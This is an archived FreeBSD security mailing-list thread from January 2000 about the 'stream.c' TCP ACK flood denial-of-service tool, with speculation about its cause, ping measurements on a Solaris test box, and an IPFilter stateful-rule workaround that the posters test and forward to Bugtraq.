RAA11402; Thu, 20 Jan 2000 17:40:13 -0700 (MST) Message-Id: <4.2.2.20000120173905.01882570@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 20 Jan 2000 17:40:11 -0700 To: Warner Losh From: Brett Glass Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Cc: jamiE rishaw - master e*tard , Tom , Mike Tancsa , freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG, security-officer@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org That means that the code path that validates the ACK in the kernel must be long. Long enough so that you can hose the CPU over, say, a T1. How does one short-circuit this? --Brett At 05:34 PM 1/20/2000 , Warner Losh wrote: >It is a remote exploit. > >Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 16:40:54 2000 Delivered-To: freebsd-security@freebsd.org Received: from cairo.anu.edu.au (cairo.anu.edu.au [150.203.224.11]) by hub.freebsd.org (Postfix) with ESMTP id 1411D15513; Thu, 20 Jan 2000 16:40:47 -0800 (PST) (envelope-from avalon@cairo.anu.edu.au) Received: (from avalon@localhost) by cairo.anu.edu.au (8.9.3/8.9.3) id LAA14428; Fri, 21 Jan 2000 11:40:01 +1100 (EST) From: Darren Reed Message-Id: <200001210040.LAA14428@cairo.anu.edu.au> Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? To: imp@village.org (Warner Losh) Date: Fri, 21 Jan 2000 11:40:01 +1100 (Australia/NSW) Cc: brett@lariat.org (Brett Glass), jamiE@arpa.com (jamiE rishaw - master e*tard), tom@uniserve.com (Tom), mike@sentex.net (Mike Tancsa), freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG, security-officer@FreeBSD.ORG In-Reply-To: <200001210034.RAA06762@harmony.village.org> from "Warner Losh" at Jan 20, 2000 05:34:26 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org What versions of FreeBSD are known to be vulnerable to it ? There appears to be some confusion about whether or not it is a wide spread problem. Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 16:45: 3 2000 Delivered-To: freebsd-security@freebsd.org Received: from sivka.rdy.com (sivka.rdy.com [207.33.166.86]) by hub.freebsd.org (Postfix) with ESMTP id 95D1215415; Thu, 20 Jan 2000 16:44:55 -0800 (PST) (envelope-from dima@rdy.com) Received: (from dima@localhost) by sivka.rdy.com (8.9.3/8.9.3) id QAA57553; Thu, 20 Jan 2000 16:43:13 -0800 (PST) (envelope-from dima) Message-Id: <200001210043.QAA57553@sivka.rdy.com> Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? In-Reply-To: <4.2.2.20000120172607.0198f1e0@localhost> from Brett Glass at "Jan 20, 2000 05:32:03 pm" To: Brett Glass Date: Thu, 20 Jan 2000 16:43:13 -0800 (PST) Cc: jamiE rishaw - master e*tard , Tom , Mike Tancsa , freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG, security-officer@FreeBSD.ORG Organization: HackerDome Reply-To: dima@rdy.com From: dima@rdy.com (Dima Ruban) X-Mailer: ELM [version 2.4ME+ PL61 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Brett Glass writes: > At 02:09 PM 1/20/2000 , jamiE rishaw - master e*tard wrote: > > >I have a copy of this, which I am not giving out. I will probably > >fire one off to jkh for sanity, Terriffic! > >The problem is, the kernel already (from my understanding) drops bad ACKs > >pretty quickly. The thing is, tho, that it's kernel bound.. which means > >CPU.. so unless you have tons of extra CPU to spare, this attack will > >take your system to a "pause" until the attacker ceases. > > The name "stream.c" makes it sound like a local, not remote, DoS. Does No, it's remote. > it have to be done from inside the system to be effective? I would think Not necessarily. > that, if it came from the outside, it'd be harder to saturate the > victim. > > I can think of ways to filter this by adding some stuff to IPFW. I don't believe you can filter it. > > --Brett > -- dima To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 16:51:58 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 5ADBB154DE; Thu, 20 Jan 2000 16:51:49 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id RAA11524; Thu, 20 Jan 2000 17:51:21 -0700 (MST) Message-Id: <4.2.2.20000120174826.01882ad0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 20 Jan 2000 17:51:19 -0700 To: Darren Reed , imp@village.org (Warner Losh) From: Brett Glass Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Cc: jamiE@arpa.com (jamiE rishaw - master e*tard), tom@uniserve.com (Tom), mike@sentex.net (Mike Tancsa), freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG, security-officer@FreeBSD.ORG In-Reply-To: <200001210040.LAA14428@cairo.anu.edu.au> References: <200001210034.RAA06762@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Darren: Glad to see you are in on this discussion. The code you use for the "keep state" option in IPFilters might be able to recognize that the ACK does not belong to an existing connection. Could a fast check be implemented as a rule under IPFilters? (If it could, it's probably a one-liner, but I'd need to figure out how to write it since I do not deal with IPFilters on a regular basis.) If not, it seems as if the framework might mostly be in place in your code. --Brett At 05:40 PM 1/20/2000 , Darren Reed wrote: >What versions of FreeBSD are known to be vulnerable to it ? > >There appears to be some confusion about whether or not it is a wide >spread problem. > >Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 17: 1:15 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 1E6871540A; Thu, 20 Jan 2000 17:00:55 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id SAA11640; Thu, 20 Jan 2000 18:00:35 -0700 (MST) Message-Id: <4.2.2.20000120175659.0167ce60@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 20 Jan 2000 18:00:33 -0700 To: Warner Losh From: Brett Glass Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Cc: jamiE rishaw - master e*tard , Tom , Mike Tancsa , freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG, security-officer@FreeBSD.ORG In-Reply-To: <4.2.2.20000120173540.01a26100@localhost> References: <200001210034.RAA06762@harmony.village.org> <4.2.2.20000120172607.0198f1e0@localhost> <3.0.5.32.20000120152818.01d7fa40@staff.sentex.ca> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Oops.... I've answered my own question. IPFW's "established" keyword only checks the RST or ACK bits; it can't tell if a session is REALLY established or not. Only a firewall that can save state (such as IPFilters), or the kernel itself, can do this. It'd be neat if we could use IPFilters to do a temporary fix for this, because it'd nuke the problem on several OSes at once -- including all of the BSDs. (They all just happen to come with IPFilters out of the box now.) This way, when the skript kiddies reading Bugtraq start trying this, there will be an immediate defense. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 17: 2: 1 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 3C94915147; Thu, 20 Jan 2000 17:01:49 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id SAA81201; Thu, 20 Jan 2000 18:01:46 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id SAA07092; Thu, 20 Jan 2000 18:01:42 -0700 (MST) Message-Id: <200001210101.SAA07092@harmony.village.org> To: Darren Reed Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Cc: brett@lariat.org (Brett Glass), jamiE@arpa.com (jamiE rishaw - master e*tard), tom@uniserve.com (Tom), mike@sentex.net (Mike Tancsa), freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG, security-officer@FreeBSD.ORG In-reply-to: Your message of "Fri, 21 Jan 2000 11:40:01 +1100." <200001210040.LAA14428@cairo.anu.edu.au> References: <200001210040.LAA14428@cairo.anu.edu.au> Date: Thu, 20 Jan 2000 18:01:42 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <200001210040.LAA14428@cairo.anu.edu.au> Darren Reed writes: : What versions of FreeBSD are known to be vulnerable to it ? : : There appears to be some confusion about whether or not it is a wide : spread problem. All versions of {Free,Open,Net}BSD, Solaris, Linux, etc are vulnerable to some degree to this attack, or similar attacks. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 17: 4: 7 2000 Delivered-To: freebsd-security@freebsd.org Received: from cairo.anu.edu.au (cairo.anu.edu.au [150.203.224.11]) by hub.freebsd.org (Postfix) with ESMTP id 810CD15291; Thu, 20 Jan 2000 17:03:53 -0800 (PST) (envelope-from avalon@cairo.anu.edu.au) Received: (from avalon@localhost) by cairo.anu.edu.au (8.9.3/8.9.3) id MAA20844; Fri, 21 Jan 2000 12:03:35 +1100 (EST) From: Darren Reed Message-Id: <200001210103.MAA20844@cairo.anu.edu.au> Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? To: brett@lariat.org (Brett Glass) Date: Fri, 21 Jan 2000 12:03:35 +1100 (Australia/NSW) Cc: avalon@coombs.anu.edu.au (Darren Reed), imp@village.org (Warner Losh), jamiE@arpa.com (jamiE rishaw - master e*tard), tom@uniserve.com (Tom), mike@sentex.net (Mike Tancsa), freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG, security-officer@FreeBSD.ORG In-Reply-To: <4.2.2.20000120174826.01882ad0@localhost> from "Brett Glass" at Jan 20, 2000 05:51:19 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In some mail from Brett Glass, sie said: > > Darren: > > Glad to see you are in on this discussion. > > The code you use for the "keep state" option in IPFilters might be > able to recognize that the ACK does not belong to an existing > connection. Could a fast check be implemented as a rule under > IPFilters? (If it could, it's probably a one-liner, but I'd need > to figure out how to write it since I do not deal with IPFilters > on a regular basis.) If not, it seems as if the framework might > mostly be in place in your code. If you're using "flags S keep state" or "flags S/SA keep state", then as far as I'm aware, having read the code, you are safe. I'm intrigued to know what the bug is. Reading the code, it is hard to see how you could make a box fall over using it, unless there were some serious problems in how random TCP ACK's were handled. Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 17:13:17 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 6E26115291; Thu, 20 Jan 2000 17:13:05 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id SAA11856; Thu, 20 Jan 2000 18:12:37 -0700 (MST) Message-Id: <4.2.2.20000120180821.0188d5c0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 20 Jan 2000 18:12:37 -0700 To: Darren Reed From: Brett Glass Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Cc: avalon@coombs.anu.edu.au (Darren Reed), imp@village.org (Warner Losh), jamiE@arpa.com (jamiE rishaw - master e*tard), tom@uniserve.com (Tom), mike@sentex.net (Mike Tancsa), freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG, security-officer@FreeBSD.ORG In-Reply-To: <200001210103.MAA20844@cairo.anu.edu.au> References: <4.2.2.20000120174826.01882ad0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 06:03 PM 1/20/2000 , Darren Reed wrote: >If you're using "flags S keep state" or "flags S/SA keep state", >then as far as I'm aware, having read the code, you are safe. This might be a workaround. What rule(s) would have to follow it to block the ACK? >I'm intrigued to know what the bug is. Reading the code, it is >hard to see how you could make a box fall over using it, unless >there were some serious problems in how random TCP ACK's were >handled. My guess is that there's a long code path, or other inefficiency, in the way the ACK is handled. Perhaps a linear search for the right socket instead of one that's more clevery implemented (e.g. search by port, then address, etc.). --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 17:24:24 2000 Delivered-To: freebsd-security@freebsd.org Received: from alive.znep.com (alive.znep.com [207.167.15.58]) by hub.freebsd.org (Postfix) with ESMTP id DB82A153E6 for ; Thu, 20 Jan 2000 17:24:12 -0800 (PST) (envelope-from marcs@go2net.com) Received: from localhost (marcs@localhost) by alive.znep.com (8.9.3/8.9.1) with ESMTP id SAA80912; Thu, 20 Jan 2000 18:23:34 -0700 (MST) (envelope-from marcs@go2net.com) From: marcs@go2net.com X-Authentication-Warning: alive.znep.com: marcs owned process doing -bs Date: Thu, 20 Jan 2000 18:23:34 -0700 (MST) X-Sender: marcs@alive.znep.com To: Brett Glass Cc: freebsd-security@FreeBSD.ORG Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? In-Reply-To: <4.2.2.20000120180821.0188d5c0@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 20 Jan 2000, Brett Glass wrote: > My guess is that there's a long code path, or other inefficiency, > in the way the ACK is handled. Perhaps a linear search for the > right socket instead of one that's more clevery implemented > (e.g. search by port, then address, etc.). How about you stop making random guess after random guess about what the fixes are when you don't even know what the problem is, and leave it to someone who knows the details of exactly what it does and what impact it has? Seems like every two minutes you send a new message to the list with a new guess at what could fix it. No useful purpose is served by flooding mailing lists with speculation after speculation. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 17:41:45 2000 Delivered-To: freebsd-security@freebsd.org Received: from cairo.anu.edu.au (cairo.anu.edu.au [150.203.224.11]) by hub.freebsd.org (Postfix) with ESMTP id A9D6F14E57; Thu, 20 Jan 2000 17:41:19 -0800 (PST) (envelope-from avalon@cairo.anu.edu.au) Received: (from avalon@localhost) by cairo.anu.edu.au (8.9.3/8.9.3) id MAA28168; Fri, 21 Jan 2000 12:40:50 +1100 (EST) From: Darren Reed Message-Id: <200001210140.MAA28168@cairo.anu.edu.au> Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? To: brett@lariat.org (Brett Glass) Date: Fri, 21 Jan 2000 12:40:49 +1100 (Australia/NSW) Cc: avalon@coombs.anu.edu.au (Darren Reed), imp@village.org (Warner Losh), jamiE@arpa.com (jamiE rishaw - master e*tard), tom@uniserve.com (Tom), mike@sentex.net (Mike Tancsa), freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG, security-officer@FreeBSD.ORG In-Reply-To: <4.2.2.20000120180821.0188d5c0@localhost> from "Brett Glass" at Jan 20, 2000 06:12:37 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In some mail from Brett Glass, sie said: > > At 06:03 PM 1/20/2000 , Darren Reed wrote: > > >If you're using "flags S keep state" or "flags S/SA keep state", > >then as far as I'm aware, having read the code, you are safe. > > This might be a workaround. What rule(s) would have to follow it > to block the ACK? None. > >I'm intrigued to know what the bug is. Reading the code, it is > >hard to see how you could make a box fall over using it, unless > >there were some serious problems in how random TCP ACK's were > >handled. > > My guess is that there's a long code path, or other inefficiency, > in the way the ACK is handled. Perhaps a linear search for the > right socket instead of one that's more clevery implemented > (e.g. search by port, then address, etc.). Well, it does bring Solaris7 to a point where it runs _very_ slowly: # ping -s 10.100.1.2 PING 10.100.1.2: 56 data bytes 64 bytes from solaris7 (10.100.1.2): icmp_seq=0. time=2. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=1. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=2. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=3. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=4. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=5. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=6. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=7. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=8. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=9. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=10. time=0. ms -- start 64 bytes from solaris7 (10.100.1.2): icmp_seq=11. time=11. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=12. time=16. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=13. time=16. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=14. time=18. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=15. time=21. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=17. time=23. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=19. time=25. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=22. time=29. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=28. time=21. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=36. time=0. ms -- end 64 bytes from solaris7 (10.100.1.2): icmp_seq=37. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=38. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=39. time=0. ms ^C ----10.100.1.2 PING Statistics---- 40 packets transmitted, 24 packets received, 40% packet loss round-trip (ms) min/avg/max = 0/7/29 # FWIW, the box sending the ping's and solaris7 are 100BaseT but the attacker is only 10BaseT. Besides the issue of time to process TCP packets, there is also basic network flooding happening here too. Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 17:48:18 2000 Delivered-To: freebsd-security@freebsd.org Received: from ns1.uscreativetypes.com (ns1.uscreativetypes.com [199.45.183.33]) by hub.freebsd.org (Postfix) with ESMTP id 413461548F for ; Thu, 20 Jan 2000 17:48:11 -0800 (PST) (envelope-from lusr@ns1.uscreativetypes.com) Received: from localhost (lusr@localhost) by ns1.uscreativetypes.com (8.9.3/8.8.8) with SMTP id TAA15147; Thu, 20 Jan 2000 19:51:29 GMT (envelope-from lusr@ns1.uscreativetypes.com) Date: Thu, 20 Jan 2000 19:51:29 +0000 (GMT) From: The Big Loser Reply-To: The Big Loser To: marcs@go2net.com Cc: freebsd-security@FreeBSD.ORG, Brett Glass Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I gotta say ease back, buddy. I don't see anything wrong with generating ideas, even if they are just *gasp* speculation. How is anyone's ideas less relevant than your gripe...your posting could be accused of being part of the same problem. I think most of us filter through tons of messages per day from these lists so I don't think anyone is in a better position to judge which postings are 'useful' than anyone else. IMHO, I'd like to see a canning of the postings which are soaked in negativity. They are even less 'useful' than the random guesses about which you are complaining. Be Kind The Super Lusr On Thu, 20 Jan 2000 marcs@go2net.com wrote: > On Thu, 20 Jan 2000, Brett Glass wrote: > > > My guess is that there's a long code path, or other inefficiency, > > in the way the ACK is handled. Perhaps a linear search for the > > right socket instead of one that's more clevery implemented > > (e.g. search by port, then address, etc.). > > How about you stop making random guess after random guess about what the > fixes are when you don't even know what the problem is, and leave it to > someone who knows the details of exactly what it does and what impact it > has? Seems like every two minutes you send a new message to the list with > a new guess at what could fix it. > > No useful purpose is served by flooding mailing lists with speculation > after speculation. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 17:49:11 2000 Delivered-To: freebsd-security@freebsd.org Received: from cairo.anu.edu.au (cairo.anu.edu.au [150.203.224.11]) by hub.freebsd.org (Postfix) with ESMTP id 5943514D72; Thu, 20 Jan 2000 17:48:57 -0800 (PST) (envelope-from avalon@cairo.anu.edu.au) Received: (from avalon@localhost) by cairo.anu.edu.au (8.9.3/8.9.3) id MAA29656; Fri, 21 Jan 2000 12:48:41 +1100 (EST) From: Darren Reed Message-Id: <200001210148.MAA29656@cairo.anu.edu.au> Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? To: avalon@coombs.anu.edu.au (Darren Reed) Date: Fri, 21 Jan 2000 12:48:41 +1100 (Australia/NSW) Cc: brett@lariat.org (Brett Glass), avalon@coombs.anu.edu.au (Darren Reed), imp@village.org (Warner Losh), jamiE@arpa.com (jamiE rishaw - master e*tard), tom@uniserve.com (Tom), mike@sentex.net (Mike Tancsa), freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG In-Reply-To: <200001210103.MAA20844@cairo.anu.edu.au> from "Darren Reed" at Jan 21, 2000 12:03:35 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org If you are using ipnat and have ipfilter installed, the work around is as follows: pass in all block in proto tcp all head 100 pass in proto tcp from any to any flags S keep state group 100 this (1) continues to let all packets in (2) blocks (silent drop) all TCP packets except for (3) SYN only packets which cause a state entry to be made. I'm of no doubt that this attack will cause some %CPU to be used in checking the IP Filter state tables, but it will not result in TCP RST's being generated in reply. I've tested this again against the same solaris7 box and results are: # ping -s 10.100.1.2 PING 10.100.1.2: 56 data bytes 64 bytes from solaris7 (10.100.1.2): icmp_seq=0. time=2. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=1. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=2. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=3. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=4. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=5. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=6. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=7. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=8. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=9. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=10. time=0. ms -- start 64 bytes from solaris7 (10.100.1.2): icmp_seq=11. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=12. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=13. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=14. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=15. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=16. time=1. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=17. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=18. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=19. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=20. time=0. ms -- end 64 bytes from solaris7 (10.100.1.2): icmp_seq=21. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=22. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=23. time=0. ms 64 bytes from solaris7 (10.100.1.2): icmp_seq=24. time=0. ms ^C ----10.100.1.2 PING Statistics---- 25 packets transmitted, 25 packets received, 0% packet loss round-trip (ms) min/avg/max = 0/0/2 # ipfstat -hio empty list for ipfilter(out) 123021 pass in from any to any 122994 block in proto tcp from any to any head 100 0 pass in proto tcp from any to any flags S/FSRPAU keep state group 100 Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 18:43: 0 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id CDFF814A29 for ; Thu, 20 Jan 2000 18:42:56 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id TAA12918; Thu, 20 Jan 2000 19:42:43 -0700 (MST) Message-Id: <4.2.2.20000120194037.0188de10@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 20 Jan 2000 19:42:43 -0700 To: marcs@go2net.com From: Brett Glass Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Cc: freebsd-security@FreeBSD.ORG In-Reply-To: References: <4.2.2.20000120180821.0188d5c0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 06:23 PM 1/20/2000 , marcs@go2net.com wrote: >On Thu, 20 Jan 2000, Brett Glass wrote: > > > My guess is that there's a long code path, or other inefficiency, > > in the way the ACK is handled. Perhaps a linear search for the > > right socket instead of one that's more clevery implemented > > (e.g. search by port, then address, etc.). > >How about you stop making random guess after random guess about what the >fixes are when you don't even know what the problem is, Actually, I do have some idea about what the problem is. I'm hoping that a quick discussion will lead to (a) a fast workaround to protect many servers -- IPFilter rules would be nice because they could be applied to lots of systems -- and (b) a long-term patch for FreeBSD. I've already been analyzing the worst-case code paths in the kernel. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 19: 7:50 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 4993714CCE; Thu, 20 Jan 2000 19:07:46 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id UAA13131; Thu, 20 Jan 2000 20:01:55 -0700 (MST) Message-Id: <4.2.2.20000120194320.019e0220@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 20 Jan 2000 19:51:17 -0700 To: Darren Reed , avalon@coombs.anu.edu.au (Darren Reed) From: Brett Glass Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Cc: avalon@coombs.anu.edu.au (Darren Reed), imp@village.org (Warner Losh), jamiE@arpa.com (jamiE rishaw - master e*tard), tom@uniserve.com (Tom), mike@sentex.net (Mike Tancsa), freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG In-Reply-To: <200001210148.MAA29656@cairo.anu.edu.au> References: <200001210103.MAA20844@cairo.anu.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 06:48 PM 1/20/2000 , Darren Reed wrote: >If you are using ipnat and have ipfilter installed, the work around is >as follows: > >pass in all >block in proto tcp all head 100 >pass in proto tcp from any to any flags S keep state group 100 Fantastic! Forwarded to Bugtraq. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 19:20: 8 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 4874915163 for ; Thu, 20 Jan 2000 19:20:04 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id UAA13311 for ; Thu, 20 Jan 2000 20:17:30 -0700 (MST) Message-Id: 